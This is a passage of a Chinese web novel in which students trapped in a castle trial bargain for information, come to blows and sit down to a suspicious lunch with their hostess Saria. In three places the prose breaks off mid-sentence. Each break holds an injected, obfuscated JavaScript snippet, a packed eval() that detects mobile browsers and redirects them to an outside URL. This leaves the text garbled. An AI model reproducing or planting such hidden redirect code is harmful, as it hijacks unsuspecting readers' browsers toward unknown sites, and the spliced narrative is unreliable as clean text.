似乎没想到她这么爽快就答应,陆舸撩起眼皮看了她一眼,像是想从她的脸上看出些什么。项纨对他的视线视若无睹,“你先说。” 陆舸把门口的位置让开,道:“都别堵在门口了,我们现在身上可没穿这怪衣服,还是进来说吧。” 几人进到房间里,陆舸把门带上,最后一个进来。 身上的裙子太重,项纨找了个舒服点的姿势背靠着墙卸了些力,回头见陆舸盯着她,项纨挑眉,“不必在意我,你说你的。” 陆舸环着胳膊站在她一步开外的位置,用一种质疑的语气:“既然是你先提出问题的,为表诚意,怎么着也该你先说吧?” 这话倒也没什么大问题,项纨想了想,提议道:“这样吧,我说一部分,然后你告诉我我想知道的,我再把剩下的那部分告诉你们。这样一人说一些,不存在谁占便宜,公平公正公开,如何?” “行。”陆舸答应了。 项纨托着下巴,开始回忆,“我想想从哪儿开始说。” 忽略了萨瑞亚最开始的目标是于露还有晚上莫名其妙多出来的那条奇怪的河这段,项纨开始讲述起昨晚的事情经过,从萨瑞亚带她去到阿克斯的房间,到阿克斯房中的奇怪的布局,再到阿克斯受伤后心里发生的扭曲。 说到这儿,项纨止住话头,朝陆舸比了个“请”的手势,意思是到你了。 陆舸皱了皱眉,问项纨:“所以让他变成这样的是谁,你身上这团血迹又是怎么回事?” “陆同学,”项纨语气中染上明晃晃的不悦,“我记得我们说好了一人说一部分吧?现在轮到你了。你应该做的是告诉我昨晚敲门的到底是什么东西,而不是在这儿刨根问底。” 陆舸摸了摸鼻子,一直淡漠的神情此时有些不自然,“你都已经说了,何必再说一半藏一半?我能向你保证,你只要事情完整告诉我,我也绝不会隐瞒。” 此言一出,项纨感觉自己的大脑皮层的褶皱瞬间被抚平了。 这是把她当傻子……然后出尔反尔的意思? 项纨看着他,对方看上去似乎并不觉得自己刚才的话有什么问题,竟然还催促道:“反正都说到这里了,不妨一次性说完。” 项纨扭头,看向一旁琪琪挽着的宋宇,决定再给他们一个机会,她说:“你也是知道昨晚敲门的是什么东西的,你现在告诉我,我们刚才约定就还算数。” 宋宇一愣,支支吾吾:“我……我……”,他下意识看向陆舸。 这一眼,项纨就知道宋宇和陆舸的友谊里谁占高位,也知道她刚才和陆舸那个约定算是作废了。 项纨毫不犹豫,转身往房间外面走。 于露见状,立马跟上。琪琪和傅小雅站在原地,没想到场面会突然变成这样,都有点手足无措。 陆舸大约没想到她会调头就走,愣了下,反应过来之后赶紧喊她:“喂!你不想知道昨晚是什么东西了吗?这消息对你来说或许很有用。” 闻言,项纨停下脚步,回头,“有没有用取决于我对它的兴趣有多大,我想知道的时候,它是有价值值得交换的信息。我不想知道的时候,它狗屁不是。” 且不说经过昨晚她自己心里多多少少有些判断,就说眼下这个情况,就算他说了,项纨也不会相信了。 “你就把这消息捂着,看能不能在阿克斯那儿挺到第二天吧。”项纨嘴毒起来的时候也是真毒,撂下话,头也不回地离开了。 于露跟在她身后,临出门前回头瞪了眼房间里的几人,“砰”的一声,略带个人情绪的用力关上了房间门。 一切变故来得太突然,琪琪眼睁睁看着两人离开,着急地跺脚,嗔怒看向陆舸,“都跟你说了不要这么激进,这下好了,把人给气走了,怎么办?” 她拧了下宋宇的胳膊,“还有你!刚才她问你就跟她说呀,你看陆舸干什么!” 宋宇:“我……” 陆舸瞥了闹腾的琪琪一眼,“好了,慌什么?”没从这女人这儿套出全部的有用消息,还是有点可惜。 “我——” “她刚刚透露的这些消息也够用了,只不过……”陆舸垂着眼睛,眼底闪过一抹不甘心,“她恐怕已经在心里把我们划分成一个阵营的,再想让你从她那儿撬些什么消息估计是不能够了。” “算了算了,其实我也不是很想跟她打交道……”琪琪挥了挥手,摆烂说着,扭头看了一眼旁边一言不发的傅小雅,“小雅,你应该也不会想和这种名声的人继续来往吧?” 傅小雅回过神来,连忙磕磕巴巴表忠心:“当、当然了!” 琪琪微微一笑,松开宋宇,改挽住她的肩膀,“这才是明智之举,你看跟她一块儿那个女生,一看也不是什么善茬,还是跟我们一块儿,活着通过考验的几率才大。” 傅小雅点头:“……嗯!” …… 项纨和于露前后脚回到自己的房间里,她一言不发的来到床边坐下。于露跟在她后头,嘴里骂骂咧咧:“这个家伙真够狡猾的,搞了半天就是想套话,这下好了,你一点儿消息没探到还白白让他捡了漏……” “你能不能安静点儿,”项纨制止她继续叨叨,“他告不告诉我其实都无所谓。” “为什么?”于露相当不解。 项纨有些疲倦地往床头一靠,“等着吧,今晚……不,不是今晚,是每天晚上,这东西估计都要来敲一敲门。想知道到底是什么,今晚开门看一看就行了。” 于露有些不信,她叉着腰走到项纨旁边坐下,问她:“既然每天晚上都要来,那你干嘛还要去问他们?” 项纨眼皮都没动,阖眼假寐,“因为我心里有个大胆假设,只是想效率求证而已,不过这几个人似乎把我当成傻子了。” 作为项纨这几年的室友,她的做事风格于露多多少少还是了解一些的——没有把握的事,项纨很少会做。 只不过…… “几个?”于露抓住重点,“你是说那两个女生也?” 项纨都不知道于露到底是真傻还是装傻了,她睁开眼睛,神色复杂的看着她。 于露一看她这眼神就知道她心里没憋好屁,“你这么看我干什么?” “她们的房间就在我们隔壁,这个地方的隔音效果如何你不会不知道吧。萨瑞亚来敲门的动静她们会听不见?” 项纨的话提醒了她,“对呀!”可是今天早上那两个女生却一副完全不知情的样子,而且……话里话外似乎也有打探消息的意思……“她们是一伙儿的!” 项纨看着她,露出一个“你才知道”的表情。 “那你还……”一副跟她关系还不错的样子?于露脑子绕过了弯儿,指着项纨,“我知道了!你!”是故意装成这样的。 见她明白过来,项纨再次闭眼,脑袋往后一仰,“既然对方想用这个方式利用我,不如将计就计。不过……”项纨的声音顿了顿,“既然她们把我纯当成傻子,而且也没什么利用价值,那就没必要再继续装下去了。” 竟然是完全互相利用的关系。于露回想起刚才琪琪和傅小雅的表现,尤其是琪琪,表现得那么自然,要不是项纨亲口说出来,她恐怕根本不会往几人是一伙的方向想,顶多就是觉得对面那个叫陆舸的言而无信。 果然附加题套路深…… “那昨天晚上到后来到底发生了什么?为什么你现在可以不用在那边陪他?你跟我说说呗!”于露的好奇心快爆炸了。 项纨漫不经心调侃道:“怎么?你也跟她们一伙儿的,来跟我这儿打探消息?” 于露在现实生活里还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904653|176805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜欢装一副矜贵淑女的样子,一到这地方完全演都不演,一点就炸,“项纨!” 项纨揉了揉耳,不耐烦的说:“别吵。” “我不管,”于露的大小姐脾气又上来了,“你不告诉我,我就一直吵!” 没有谢晓彤充当和事佬,项纨可不会惯着她。她睁眼抬脚对准于露的屁股一踹,力道之大,于露毫无防备,被她一脚踹到了床下。 趴在地上懵了好一会儿,于露气血直冲天灵盖,“你敢踹我!” “现在只是踹你,你要再吵,我就揍你。” “你!”于露还想挣扎,忽然想到什么,一下闭嘴。别人说要揍她,于露可能只会嗤之以鼻,可是项纨说要揍她,那她可是有很大的概率真的会动手。 至于这种刻板印象从何而来……她看向床上一脸疲惫闭着眼不知道是在假寐还是真睡的项纨,于露晃了晃脑袋!现在可不是回忆这些乱七八糟事情的时候。 项纨真有些困,闭着眼睛,睡意袭来,不知不觉睡了过去。 她做了个梦,梦到了昨晚——在阿克斯说完那句“祂们来了”之后,项纨见到所谓的“祂们”。 封死的窗户被轻而易举破开,两道狭长高瘦的黑影顺着窗口钻了进来的,祂们似乎拥有随意变换大小的能力。 项纨看不清祂们的脸,瘦长的身影脸部似乎裹挟着一团黑雾,冷兵器和涂满一墙的棕榈油对他们似乎起不到一丁点儿的作用,祂们直奔床上的阿克斯而来。 阿克斯在祂们破窗进入的时候拉动了床头的机关,顿时,布置在四周的机关暗器劈头盖脸砸向两人。尖刀长剑斧子砍在两人身上,如同没入水面,掉在地上,没有造成一点伤害。 “阿克斯,我们要来收回你欠下的东西。” 祂们的声音空灵悠远,不像从对面响起,像是来自遥远的天边。 祂们静静站在原地,就足以叫阿克斯的情绪失控。 阿克斯呼喊着她:“不……不!Luna!Luna!” 项纨这个时候还能趁机刷存在感:“我在。” “赶走祂们!赶走祂们!” 项纨看一眼缓缓举起镰刀的巨型瘦长黑影……收回刚才的话,她不在。 好在这时候,听见动静的萨瑞亚从外头冲了进来,一个母亲的本能挡在阿克斯身前。项纨本以为这波操作无异于螳臂当车,可没想到萨瑞亚竟然跟那个拿镰刀的打的有来有回,只不过到底吃了人数上的亏,另一个黑影趁她打架的时候来到了阿克斯的床边…… “啊!!”痛苦的尖叫从床边传来,有温热的液体溅到她身上,项纨和正在缠斗的两位同时将注意力集中到阿克斯身上,只见另一个黑影站在他床前,手里赫然躺着阿克斯仅剩的那枚眼珠子。 萨瑞亚两眼一翻,好险没直接晕过去,她尖叫一声,从地上抽起一把长刀举着朝着那黑影身上砍去。 黑影不慌不忙地一拂袖子,宽大的袍子擦过萨瑞亚的瞬间,她腿一软,手里的刀“哐当”一声掉在地上,整个人倒在地上,不知道是晕了还是死了。 两个黑影盯着床上哀嚎的阿克斯好一阵,大约是见他没有死掉的迹象,有些遗憾地转身,从哪里来就从哪里离开。 项纨仿佛一个透明人,全程被这两个家伙给忽略了。 阿克斯在床上嚎了一阵,疼晕了过去。项纨蹲在原地等了很久,这两人始终没有醒来的记性,项纨趁机从地上捞了把防身的匕首,藏在束腰的腰带里,踢开一地乱七八糟的东西,溜回了房间里。 项纨猛地睁开眼睛从床上坐了起来。 于露一晚上没睡,见项纨睡下,她也躺下准备补个觉。结果还没躺一会儿项纨突然从床上弹起来,吓她一大跳,“你干什么啊,吓死我了!” “我好像知道了。”项纨没头没尾地说了一句。 于露摸不着头脑:“知道什么了?” 项纨回头,眼睛亮得吓人,“答案到底是不是我猜的那样,就看今晚了。” 11. Achilles “就知道吊人胃口,也不把话说明白……”于露侧躺下,没好气嘟囔。 项纨不在意地倒回床上,脑子里思路渐渐开始清晰。就在此时,“咕”的一声,项纨的肚子发出饥饿信号。算起来,虽然进入附加课之前吃了些东西,但时间过去也这么久了,怪不得肚子开始抗议了。 算了,不睡了。 项纨翻身下床,身旁的于露听见动静回头看她,发现她已经下床,立马也起身。 “你要去哪儿?”见她似乎是要出门的样子,于露慌慌张张的边穿鞋边问。 项纨说:“找点儿吃的。” “你不怕死啊,那个萨瑞亚不是不让我们乱跑吗?” 项纨半嘲讽半解释道:“她只说过晚上的城堡很危险,可现在是白天。而且,你什么时候是这么听得进话的人了?” “那意思是白天是可以在外面活动的……”于露话说到一半,忽然反应过来项纨的后半句话在损她,“不损我你会死吗?!” 项纨慢悠悠地推开房门,“那倒不会,损你没什么技术含量,也没什么成就感。” 于露气得牙痒痒,又不敢一个人行动,只能嘴上哔哔两句,“项纨,你以前那副唯唯诺诺的样子该不是装的吧,哪有你这样的人……” 听她提到以前,项纨脚步顿在原地。于露光顾着注意脚下,忘了看身前,一下撞到项纨的身上。好在她们的裙摆又厚有长,完全相当于一个缓冲,于露才不至于直接和项纨“亲密接触”。 “你干嘛突然停下?”于露奇怪道。 项纨回头,看着她,那眼神……冷得像冰霜飞雪。 于露被她看得有点发憷,搓了搓胳膊,“你、你这么看我干什么?我说错什么了吗?” 项纨盯着她看了几秒,见她表情仍然理直气壮,毫无自省的意思,项纨嗤笑一声,什么也没说,转头往台阶下方走去。 于露赶紧跟上。 古堡的布局项纨并不太清楚,厨房到底在什么地方她更是两眼一抹黑,全凭硬找加运气。好在运气还不算特别差,在两人寻到第五个房间时,成功发现了厨房。 桌上摆着许多她不太认识的食物,看着有点像粗糙制作的面包或是别的什么面制品。项纨随手拿了一块儿,硬的。 往桌上敲了敲,“邦邦”两下。项纨试探性拿了块儿小的送到嘴边,费九牛二虎之力咬下一块儿。 这面粉要是知道自己被做成了这么难以下咽的东西,估计死不瞑目。 她感觉自己宛如她实习的时候认识的同事家里那条小狗吃磨牙棒一样,嘎吱嘎吱嚼了一顿,费了好大的力气才咽下去。 于露嫌弃地拿起一块儿看了一眼,咽了口唾沫:“这真能吃吗?” “爱吃不吃,不吃饿死。” “……” 桌上也好像没别的能直接吃的东西,于露犹豫几秒,抱着一块儿硬得跟石头似的,姑且叫它“面包”的东西啃了起来。 “这到底什么鬼东西?”难吃难嚼还剌嗓子。 见她真吃了,项纨笑而不语,扔掉了手里剩下的,转头拉开了壁橱,里面果然躺着一篮子看起来比刚才那玩意儿要柔软一些、白一些,不出意外应该也是隶属于面包一类的食物,隔壁还有个带盖儿的罐子,项纨打开一看,是一罐新鲜牛奶。 能住在这古堡里头,萨瑞亚和阿克斯看起来就不是吃黑面包的人,项纨猜都猜得到这厨房里肯定不止这玩意儿。 她不客气地把一整篮面包和一罐牛奶取下来,喊了声还在旁边伸长了脖子咽黑面包的于露,“走了。” 于露艰难的吃完一块儿,听到声音扭头,看到项纨手里的白面包,顿时感觉自己被耍了,“……你整我呢?” 项纨回头,那表情不言而喻。 “你!”于露吃了个哑巴亏,偏偏又不是人叫她吃的,只能闷声咽下这口气,拉着脸跟在项纨身后。 项纨也不确定白天的古堡内是不是百分百的安全,没敢在外面多逗留太久,拎着面包脚步匆匆回到房间里。 把面包和牛奶放到桌上,项纨拿了一块儿吃起来。不用她提醒于露,这家伙已经自己凑了过来。 白面包的口感虽然也比不上平时生活里吃的面包,但总归比黑面包好了千百倍,至少咽得下去。项纨吃完手里的面包,抱起牛奶罐子咕嘟咕嘟喝了两口,这俩玩意儿加在一起饱腹感还挺强。 于露学着她的样子抱着罐子喝牛奶,喝了两口忽然想起来,“就这一篮子白面包,我们拿走了,隔壁的那几个……”于露想说的是隔壁那几个要知道了会不会来找她们麻烦。 “不是还有一桌子的黑面包吗。”项纨语气平静。 ……独处这么一小段时间,于露算是发现了,项纨这人平时不声不响的,但蔫儿坏。 她当初到底怎么会觉得项纨是个任人拿捏的软柿子的? 两人刚说完,忽然“砰砰”两声,一下吸引了两人的注意力。 项纨竖起耳朵,比了个“嘘”的动作,防止于露出声,于露闭上嘴巴,同样专注去听动静是从哪儿传来的。 “砰砰砰”,又是几声,这次的力度明显比上次要重。 是隔壁的房门被敲响了。项纨皱了皱眉,蹑手蹑脚地走到门边,见状,于露跟了上来,在她对面学着她的样子把耳朵贴在门上。 “会不会是昨晚的东西,要开门吗?”于露用口型询问项纨。 项纨轻轻摇了摇头,也用口型回答她:“不是。” “你怎么知道?” “听。” 项纨“听”的口型才做出来,隔壁忽然传来一阵巨大的动静,接近于踹门的声音,紧接着,女生的尖叫和男生惊讶的“卧槽”声同时响起。 这几个人果然还聚在一块儿呢。 项纨嘴角微微一弯,继续听。 隔壁房间似乎发生了什么混乱的争执,几人貌似吵起来了,大约过了十几秒,傅小雅挣扎的声音从隔壁传来:“不!我不去!我不去!放开我……你们说过不会……我不去!” 她的声音由远及近,再渐行渐远,似乎被什么东西强制拖着离开了。 当傅小雅的声音消失后,外面陷入一种死一般的沉寂。 项纨在心里默数:5、4、3、2…… 还没数到1呢,“砰砰砰”的敲门声就在近在咫尺的门板边响起。 项纨早有准备,于露毫无防备被吓了一大跳,“我靠!什么玩意儿?” 怎么跑来敲她们的门了? 她刚想问项纨,就见她的手已经搭上了门把,“咔哒”向下一拧,门被她打开了。 外面的人似乎很心急,门刚被打开,他用力往前一推。还好项纨早有准备,侧身往旁边一闪。门板“咚”的一声撞到墙,回弹一截,被那人的脚尖抵住,可见用了多大的力气。 “草!你们他妈是不是有病?”看清来人的脸,于露破口大骂。 陆舸冷冷地瞥了她一眼,没搭理她,重新把注意力放在了项纨身上。 项纨看了眼陆舸抵住门板的脚尖,抬眸,和他四目相对。 “同学,你这样是不是有点太没礼貌了,这门刚才要是砸在我身上,那可是会很痛的。”项纨的声音平静如一汪死水。 陆舸还没说话呢,身后的琪琪先开口了:“项纨,你到底做了什么手脚,为什么明明白天也该是你去陪那个怪物,这个萨瑞亚却要在我们这边拖人过去!” 好家伙,演都不演了。 项纨无辜的耸耸肩:“我能做什么手脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904654|176805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?你太看得起我了。” 琪琪冷哼一声:“那她为什么强行带走了傅小雅?你为了保研名额连身体都能出卖的,谁知道你暗地里使了什么手段?” “你放什么狗屁?”项纨还没开口,于露炸了,“你是不是暗地里这种勾当做多了,看谁都像你同——啊!” 于露没说完的话被一耳光打断,头被打的惯性偏向一旁。她有点懵的抬手摸上左半边脸,一碰就知道脸已经肿了,火辣辣的疼。 陆舸抽回手,看两人的眼神充斥着不屑,他开口,语气带着威胁:“说,你昨晚到底做了什么?为什么会发生这样的变故?” 项纨没想到这人一言不合居然会动手,他动作太突然,没来得及拦下是自己的倏忽,但……谁给他的勇气动完手打了人之后还敢威胁自己? “道歉,然后再抽自己一巴掌,我或许可以考虑不追究你刚才的行为。” 项纨凝视着他,眼睛里的温度骤降,一边说着,一只手摸到腰后,动作飞快地解开了这碍事裙子的绑带。 “项纨,你是不是还没有搞清楚状况啊?”琪琪冷笑一声,“现在可不是我们有求于你,而是你说出来,才能保证自己少受点苦,懂吗?” “是吗?”项纨抽掉绑带,衣服一松,她往下一拽,整条裙子搭落在地上。项纨从里面迈出来,为了保证这裙子后面还能穿,项纨用脚尖把它一脚勾到旁边。 现在身上就一件吊带背心加工装裤,活动起来没了束缚,项纨松了松肩膀,感觉自己灵活多了。 “嘁,”对面的琪琪发出一声嗤笑,“你这是干什么?话放得那么狠,结果是要重操旧业吗?我们这两个男生可不吃你这套哦。” 陆舸的听着琪琪的嘲讽,眼神游移在项纨暴露在外的皮肤上……仔细看这女人长得倒是挺好看的,只不过这种乖乖女类型的脸不是他的菜,更何况也只是表面乖乖女,私底下名声这么烂……不对!现在不是想这些的时候。 “你最好赶紧把昨晚的事说清楚,我耐心有限,而且你看到了,我可不是那种不打女人的人。” “你还挺自豪。”项纨嘲讽拉满,脸上挂着讥笑,看上去竟然好像一点也不害怕他。“巧了,我也不是打男人的人。” 不见棺材不掉泪。 陆舸看着她的笑容,直觉被这个女人看不起了,他怒从心中起,决定给她一点颜色看看。 “敬酒不吃吃罚酒,这是你自找的。”话音落下,陆舸抡圆胳膊,一拳朝着项纨的脸打过去。 于露被吓得声音变调:“项纨!” 琪琪和宋宇看猴似的看着于露,一脸幸灾乐祸,全然不知道于露撇过眼,不敢去看接下来会发生什么的时候心里实际的想法是——这男的完蛋了! 下一秒,重物落地的声音伴随着女人的惊叫和男人的惨叫一齐灌入于露的耳朵。 她颤巍巍睁开一只眼睛,就见陆舸抱着明显错位的胳膊表情痛苦地倒在地上,琪琪和宋宇目瞪口呆地站在门外,估计已经被吓傻了。 项纨活动了一下手腕,太久没和人动过手,感觉自己都快生锈了,难免控制不好力气。 “你……你……”琪琪震惊的看了眼被摔得动弹不得的陆舸,眼中逐渐爬满恐惧,你了半天没你出个所以然。项纨回头掀起眼皮看了她一眼,琪琪被吓得后退一步,缩在宋宇怀里,两人抱在一起,看她像在看一个怪物。 这女人刚才打架的架势好可怕……陆舸那么高大的一个男人,被她拎起来过肩摔的时候简直就像个毫无还手之力的沙袋…… 项纨并不搭理这俩人,她慢悠悠踱步到躺在地上的陆舸身边,蹲下,握在手里的匕首套子一下一下抽在他脸上。伤害性不大,侮辱性极强。 “现在,可以道歉了吗?” 12. Achilles 胳膊上的疼痛加上被当众羞辱的耻辱让陆舸一张脸涨红,他将头一甩,避开项纨的动作,咬牙从地上艰难爬起来。 他抱着胳膊退了一步,宋宇和琪琪赶忙上前查看他的伤势,琪琪在看清他胳膊呈一种奇怪的垂脱状时差点两眼一黑,“陆舸,你的手……” 陆舸忍痛哑着嗓子:“没事!”说话时,他盯着项纨,眼里的愤怒几乎凝成实质,但又不仅仅是愤怒……“你练过?”陆舸问道。 一定是练过的,不然他不可能被一个瘦弱的女人撂倒!要知道他平时不光健身,还练散打,没练过的人怎么可能是他的对手? 项纨一撑腿站了起来,把玩着手里的匕首,没回答他的问题,“看来胳膊折了也没让你长教训,道歉两个字很难理解吗?” “你!” 项纨把一旁看戏的于露扯过来,指着她红肿的左半边脸,“你什么你,你把她的脸打肿了,我把你胳膊卸了,公平吧?先动手的人道歉,合理吧?” 陆舸一口郁气堵在胸口——这算哪门子的公平合理? 于露的脸虽然肿了,不过看见罪魁祸首在项纨这儿吃了哑巴亏,心情顿时舒畅,果然不光自己,任何人跟项纨硬碰硬,最后吃亏的都是他们。 琪琪躲在宋宇身后,不理解:“你俩关系不是不好吗,你为什么还要替她出头?” 项纨也不理解:“是你失忆还是我失忆了,你们最开始不就是冲着我来的吗?” 这话不假,几人一下噎住,连反驳的理由都找不出来。 见几人沉默,项纨十指交叠,握紧松开再握紧,这是她不耐烦的前兆,“还需要我再重复一次吗?”她的语调冷冰冰的,任谁都能听出她的耐心告罄了。 琪琪轻轻搡了一下陆舸,低声劝他:“要不……就跟她道个歉吧,我看她这个样子不像会善罢甘休的……你的胳膊也得处理一下。” 陆舸也看出来了这女人不是个好惹的主,但他向来把面子看得极重,他绷着一张脸,嘴唇翕动,一句“对不起”卡在嘴边,硬是说不出来。 “很难开口吗?”项纨眉梢上挑语气嘲弄,“我看你动手的时候挺利索的呀。” “你……”陆舸算是意识到了,自己再在这里待着,恐怕还有更多难听的奚落他的话在等着他,他心一横,“对不起!” 咬牙切齿的三个字,项纨听出了浓浓的不甘心。 她扭头看向明明是被打的受害者此时却看戏看得津津有味跟围观群众似的于露,问:“怎么样,这个道歉你接受吗?” 于露一愣,反应两秒,摆出受害者该有的谱:“勉强吧。”项纨替她出头,对方也遭了罪,她见好就收。 “行。” 琪琪连忙接话:“既然她都接受道歉了,那我们可以走了吧?” 项纨点头:“当然,请便。” 得到她的首肯,宋宇和琪琪连忙一左一右扶着陆舸往他们的房间走去。 目送几人消失在门口,项纨把门关上。回头,对上于露那张肿得老高的脸,项纨皱了皱眉,说:“我用不着别人替我出头,顾好你自己就行了。” 于露摸摸脸,“嘶”一声,“你以为我乐意?啧,这里有没有镜子啊?这傻逼别给我脸打毁容了。” 项纨往床上一躺:“毁不了,本来也没好看到哪儿去。” ……于露连反驳都放弃了,她算是看明白了,项纨这个嘴,平等的不放过任何人。 另一边。 宋宇和琪琪把陆舸扶到床边坐下。 “岳琪,帮我接胳膊。”陆舸额上冒出豆大的汗珠,胳膊折了感觉可不好受。 琪琪咬着唇,脸都吓白了:“我……我不会啊。” 陆舸觉得自己是痛昏了头,叫错了人:“宋宇,你来。” 宋宇是医学生,又有在医院内外科轮转的经验,接个错位的胳膊不算难事儿。他按住陆舸,“你忍着点儿。” “嗯,动作快点儿。” 宋宇在他胳膊上摸索一阵,松了口气,还好只是脱臼。他手上稳准狠一用力,陆舸的关节发出咯哒一声,“……好了。” 陆舸低头看着自己被接好的胳膊,半眯着眼睛,神色阴沉。他忽然扭头看向琪琪,“岳琪,这个项纨什么来头?” 琪琪突然被cue,有点慌乱:“我知道的之前已经全部告诉你了……她在我们系里的名声真的很臭的!据说是和系主任……总之我知道的真的只有这些了!” 陆舸心里憋了一团火,扫了眼眼前的蠢女人:“她那个身手,你觉得你们系主任能近的了她的身?” 琪琪垂着脑袋嘟囔:“没准儿是她自愿的啊,卖身换保研名额……对,肯定是她自愿的!” “好了,现在不是说这个的时候。”眼看陆舸的怒气值上升,宋宇赶紧打圆场,“关键是我们现在少了个人,不过多了个试错的机会,至少知道是有办法换人去陪那个怪物。” 听着宋宇的话,陆舸冷静下来:“你说得对。” 至于项纨到底用了什么办法……他们几个既然撬不开她的嘴,那就只能从她的室友身上找突破口了。 项 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904655|176805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纨刚躺下感觉自己眯了不到十分钟,门口又传来动静。 又是敲门声…… 项纨对敲门声都快ptsd了,她不想动弹,指挥身边的于露:“去开门。” “我?我不去,万一又是隔壁那群神经病——” “不是他们。”项纨直接打断道。 “你怎么又知道了?”于露惊讶的看着她。 项纨正想说话,忽然想到什么,一下从床上弹了起来,匆匆下床,捡起地上的裙子胡乱往身上一套。一套动作行云流水,看呆了于露,不过也让她意识到,外面敲门的多半是这个古堡里的“土著”。 她下床,见项纨衣服穿好了,这才把门打开。不出所料,外面正是把她们领进古堡内的女仆——伊莎。 她站在门口,目光贼溜溜的在房间里巡视一圈,最后停在了于露身上:“尊贵客人们,午餐时间到了,萨瑞亚夫人请各位到二楼餐厅用餐。” 竟然是有用餐环节的吗? “好的,我们马上就下来。”于露回头看了眼项纨,用眼神征求她的意见,见她颔首,于是答应下来。 伊莎没有过多停留,转身去敲隔壁的门。 项纨叹了口气,休息是休息不成了,“走吧。”都来叫她们了,肯定是要下去的。 两人下楼来到伊莎口中二楼的餐厅,一张长长的餐桌上摆满了食物,一股子浓郁的炖肉香从餐桌正中那一口锅里传来。 “哇,这伙食比干吧面包好多了!”于露悄咪咪在她耳边说。 项纨看了一眼桌上的食物,没发表任何意见。 萨瑞亚坐在主座,听见脚步,抬头看向她们。见到项纨,她眼神闪烁了下,随后挂上她标准的笑容:“两位,请坐。” 两人选了餐桌右边的位置坐下,落座之后,项纨看向萨瑞亚。不知道是不是她的错觉,她总觉得萨瑞亚看起来似乎比前一天……老了许多。 紧接着,又有几道脚步声由远及近。 是隔壁的三人下楼了。 三人见项纨她们已经坐在位置上,脚步一顿,还是陆舸先反应过来,选了她们对面的位置坐下,琪琪和宋宇则坐到了他的另一侧。 不久之前才发生过正面冲突,此时却要在一张桌子上假装和平的吃饭。 一种无形的尴尬在餐桌上蔓延开。不过只是琪琪她们这边单方面觉得,项纨根本不在意桌上坐的是谁,她的注意力已经被桌上那口大锅给吸引了。 萨瑞亚见人来齐,微笑着举起酒杯:“美丽的姑娘们都到齐了,那么,开饭吧。” 13. Achilles 白面包虽然抵饿,但那一言难尽的味道始终不如一锅炖肉来得诱人。于露咽了咽唾沫,一手拿起叉子,准备捞一块儿尝尝,手才抬起来,被项纨一个眼神制止。 她一愣,放下叉子。 萨瑞亚抿了一口酒,一双眼在席间几人身上游移。项纨恰好也在观察她,两人视线交汇,萨瑞亚抿酒的动作顿了顿,旋即转移视线。 于露暗戳戳地观察着的主座上的萨瑞亚,有点不确定的往项纨耳边凑,“我怎么感觉这个萨瑞亚好像不怎么敢看你?” 项纨其实也察觉到了,“不知道。”她实话实说,心想难道是因为她在她儿子身边待了一晚上她儿子就没了一只眼睛,所以对她有阴影了? 对面,三人饿了一晚上加一个早上,此时面对一桌子的食物很难无动于衷。不过这三人也算谨慎,一桌子的食物,他们就挑了两块儿面包和几片类似风干火腿片的东西。 陆舸的胳膊虽然接好了,但不太灵活,由宋宇为他代劳取来食物。萨瑞亚仿佛有火眼金睛,目光投向陆舸的手臂,“你受伤了?” 陆舸身子一僵,萨瑞亚的语气太奇怪了,就好像他受伤对她来说是一件值得庆祝的事情。 陆舸思索片刻,还是决定撒谎,道:“没有。” 萨瑞亚神情未变,往后一仰,靠在椅子的靠背上,晃着酒杯,没再继续追问。 陆舸浅浅松了口气,咬了一口夹着风干火腿的面包片,刚一入口,微微发酸的面包味道就让他皱起了眉头。好在火腿片咸香,将那股子酸味压了下去,他快速咀嚼两下,将嘴里的食物咽了下去。 身旁的琪琪和宋宇也默不作声地吃着,三人很默契的看都没有去看那口大锅一眼。 “不尝尝我做的肉吗?这可是新鲜的,为了招待尊贵的客人。”萨瑞亚的语气有些玩味。 琪琪挤出一个勉强的笑容,说:“谢谢你萨瑞亚夫人,但我们最近身体不舒服,吃什么都没胃口,就算吃下去也是浪费。” 萨瑞亚没有多说什么,朝几人抬了抬手,示意他们接着吃。 “为什么你和他们几个看起来好像都对这个炖肉没兴趣的样子?”于露忍不住小声在项纨耳边问。 “你心可真够大的。”项纨同样小声的吐槽她,语气略为嫌弃,“这种地方出现的肉,鬼知道是用什么东西做的,不清楚原材料,谁敢吃?” “肉不就那几样吗?牛啊猪啊羊啊的,难不成……”忽然想到还有一种可能,于露抬手捂住嘴,胃里开始反酸,“……不会吧!” 项纨挑了挑眉,“谁知道呢,不过我奉劝你,在这种地方,最好还是不要碰它任何的肉类食物。” 于露死命压制着想吐的冲动,“求你了别说了!” 损样。 项纨扭过头,萨瑞亚立刻转头看向另一边的三人。 ? 